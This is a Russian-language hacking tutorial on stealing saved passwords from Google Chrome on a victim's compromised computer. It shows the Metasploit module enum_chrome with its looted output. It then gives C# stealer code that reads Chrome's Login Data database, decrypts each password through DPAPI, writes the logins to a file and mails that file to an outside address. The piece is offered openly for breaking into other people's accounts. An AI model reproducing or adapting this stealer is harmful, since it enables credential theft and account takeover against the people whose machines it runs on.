Воруем пароли из Google Chrome
@hackr_tgИтак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.
Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
А далее используем следующий модуль
run post/windows/gather/enum_chrome
После чего смотрим исходный файл
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru
Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.
Мастер – ключ - это комбинация следующих элементов:
- SID — уникальный идентификатор безопасности.
- HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
- PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
- MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут https://habrahabr.ru/post/148602/
Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным string connectionString = $"Data Source = {fileDb}"; string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8); string dbWay = "Login Data"; string db_fields = "logins"; // база паролей SQLITE byte[] entropy = null; string description; DataTable db = new DataTable(); string sql = $"SELECT * FROM {db_fields}"; using (SQLiteConnection connection = new SQLiteConnection(connectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connection); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(db); } int rows = db.Rows.Count; Console.WriteLine($"Всего записей: {rows}"); for (int i = 0; i < rows; i++) { string url = db.Rows[i][1].ToString(); string login = db.Rows[i][3].ToString(); byte[] byteArray = (byte[])db.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); sw.WriteLine("----------------------------"); sw.WriteLine($"Номер: {i}"); sw.WriteLine($"Сайт: {url}"); sw.WriteLine($"Логин: {login}"); sw.WriteLine($"Пароль: {password}"); } sw.Close(); MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName); Console.ReadKey();
Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
Всем спасибо за внимание. Источник,если нужно.